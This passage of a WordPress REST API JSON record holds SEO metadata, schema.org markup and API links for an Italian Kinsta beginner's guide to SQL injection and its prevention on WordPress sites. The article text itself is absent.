sicure\",\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/it\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/staging.kinsta.site\/it\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/staging.kinsta.site\/it\/#organization\",\"name\":\"Kinsta\",\"url\":\"https:\/\/staging.kinsta.site\/it\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/staging.kinsta.site\/it\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2018\/05\/kinsta.png\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2018\/05\/kinsta.png\",\"width\":580,\"height\":580,\"caption\":\"Kinsta\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/it\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/kinstaitalia\/\",\"https:\/\/x.com\/Kinsta_IT\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/staging.kinsta.site\/it\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\",\"name\":\"Shaumik Daityari\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/staging.kinsta.site\/it\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g\",\"caption\":\"Shaumik Daityari\"},\"description\":\"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!\",\"url\":\"https:\/\/staging.kinsta.site\/it\/blog\/author\/shaumikdaityari\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"SQL Injection: Una Guida per Principianti per gli Utenti di WordPress","description":"Scoprite cos'\u00e8 una SQL injection, come pu\u00f2 esistere la vulnerabilit\u00e0 della SQL injection nelle vostre applicazioni web (come i siti WordPress) e come prevenire gli attacchi.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/","og_locale":"it_IT","og_type":"article","og_title":"SQL Injection: Una Guida Introduttiva per gli Utenti di WordPress","og_description":"Scoprite cos'\u00e8 una SQL injection, come pu\u00f2 esistere la vulnerabilit\u00e0 della SQL injection nelle vostre applicazioni web (come i siti WordPress) e come prevenire gli attacchi.","og_url":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/","og_site_name":"Kinsta","article_publisher":"https:\/\/www.facebook.com\/kinstaitalia\/","article_published_time":"2020-01-17T10:07:03+00:00","article_modified_time":"2022-07-16T13:43:57+00:00","og_image":[{"width":1460,"height":730,"url":"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg","type":"image\/jpeg"}],"author":"Shaumik Daityari","twitter_card":"summary_large_image","twitter_description":"Scoprite cos'\u00e8 una SQL injection, come pu\u00f2 esistere la vulnerabilit\u00e0 della SQL injection nelle vostre applicazioni web (come i siti WordPress) e come prevenire gli attacchi.","twitter_image":"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg","twitter_creator":"@Kinsta_IT","twitter_site":"@Kinsta_IT","twitter_misc":{"Scritto da":"Shaumik Daityari","Tempo di lettura stimato":"12 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#article","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/"},"author":{"name":"Shaumik Daityari","@id":"https:\/\/staging.kinsta.site\/it\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504"},"headline":"SQL Injection: Una Guida Introduttiva per gli Utenti di WordPress","datePublished":"2020-01-17T10:07:03+00:00","dateModified":"2022-07-16T13:43:57+00:00","mainEntityOfPage":{"@id":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/"},"wordCount":2383,"commentCount":0,"publisher":{"@id":"https:\/\/staging.kinsta.site\/it\/#organization"},"image":{"@id":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg","keywords":["sicurezza web","wordpresshack"],"articleSection":["Sicurezza di WordPress"],"inLanguage":"it-IT","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/","url":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/","name":"SQL Injection: Una Guida per Principianti per gli Utenti di WordPress","isPartOf":{"@id":"https:\/\/staging.kinsta.site\/it\/#website"},"primaryImageOfPage":{"@id":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#primaryimage"},"image":{"@id":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#primaryimage"},"thumbnailUrl":"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg","datePublished":"2020-01-17T10:07:03+00:00","dateModified":"2022-07-16T13:43:57+00:00","description":"Scoprite cos'\u00e8 una SQL injection, come pu\u00f2 esistere la vulnerabilit\u00e0 della SQL injection nelle vostre applicazioni web (come i siti WordPress) e come prevenire gli attacchi.","breadcrumb":{"@id":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#primaryimage","url":"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg","contentUrl":"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg","width":1460,"height":730,"caption":"SQL Injection: Una Guida Introduttiva per gli Utenti di WordPress"},{"@type":"BreadcrumbList","@id":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/staging.kinsta.site\/it\/"},{"@type":"ListItem","position":2,"name":"SQL Injection: Una Guida Introduttiva per gli Utenti di WordPress"}]},{"@type":"WebSite","@id":"https:\/\/staging.kinsta.site\/it\/#website","url":"https:\/\/staging.kinsta.site\/it\/","name":"Kinsta","description":"Soluzioni di hosting premium, veloci e sicure","publisher":{"@id":"https:\/\/staging.kinsta.site\/it\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/staging.kinsta.site\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https:\/\/staging.kinsta.site\/it\/#organization","name":"Kinsta","url":"https:\/\/staging.kinsta.site\/it\/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/staging.kinsta.site\/it\/#\/schema\/logo\/image\/","url":"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2018\/05\/kinsta.png","contentUrl":"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2018\/05\/kinsta.png","width":580,"height":580,"caption":"Kinsta"},"image":{"@id":"https:\/\/staging.kinsta.site\/it\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/kinstaitalia\/","https:\/\/x.com\/Kinsta_IT"]},{"@type":"Person","@id":"https:\/\/staging.kinsta.site\/it\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504","name":"Shaumik Daityari","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/staging.kinsta.site\/it\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f46bf798b4133c45d202f78bca3f4e700f0d9060eb149ef56187f936e21f962c?s=96&d=mm&r=g","caption":"Shaumik Daityari"},"description":"Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!","url":"https:\/\/staging.kinsta.site\/it\/blog\/author\/shaumikdaityari\/"}]}},"acf":[],"_links":{"self":[{"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/wp\/v2\/posts\/31805","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/wp\/v2\/comments?post=31805"}],"version-history":[{"count":8,"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/wp\/v2\/posts\/31805\/revisions"}],"predecessor-version":[{"id":57598,"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/wp\/v2\/posts\/31805\/revisions\/57598"}],"alternate":[{"embeddable":true,"hreflang":"en","title":"English","href":"https:\/\/staging.kinsta.site\/it\/wp-json\/kinsta\/v1\/posts\/31805\/translations\/en"},{"embeddable":true,"hreflang":"fr","title":"French","href":"https:\/\/staging.kinsta.site\/it\/wp-json\/kinsta\/v1\/posts\/31805\/translations\/fr"},{"embeddable":true,"hreflang":"es","title":"Spanish","href":"https:\/\/staging.kinsta.site\/it\/wp-json\/kinsta\/v1\/posts\/31805\/translations\/es"},{"embeddable":true,"hreflang":"pt","title":"Portuguese","href":"https:\/\/staging.kinsta.site\/it\/wp-json\/kinsta\/v1\/posts\/31805\/translations\/pt"},{"embeddable":true,"hreflang":"it","title":"Italian","href":"https:\/\/staging.kinsta.site\/it\/wp-json\/kinsta\/v1\/posts\/31805\/translations\/it"},{"embeddable":true,"hreflang":"da","title":"Danish","href":"https:\/\/staging.kinsta.site\/it\/wp-json\/kinsta\/v1\/posts\/31805\/translations\/dk"},{"embeddable":true,"hreflang":"nl","title":"Dutch","href":"https:\/\/staging.kinsta.site\/it\/wp-json\/kinsta\/v1\/posts\/31805\/translations\/nl"},{"embeddable":true,"hreflang":"de","title":"German","href":"https:\/\/staging.kinsta.site\/it\/wp-json\/kinsta\/v1\/posts\/31805\/translations\/de"},{"embeddable":true,"hreflang":"sv","title":"Swedish","href":"https:\/\/staging.kinsta.site\/it\/wp-json\/kinsta\/v1\/posts\/31805\/translations\/se"},{"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/kinsta\/v1\/posts\/31805\/tree"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/wp\/v2\/media\/31808"}],"wp:attachment":[{"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/wp\/v2\/media?parent=31805"}],"wp:term":[{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/wp\/v2\/tags?post=31805"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/staging.kinsta.site\/it\/wp-json\/wp\/v2\/topic?post=31805"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}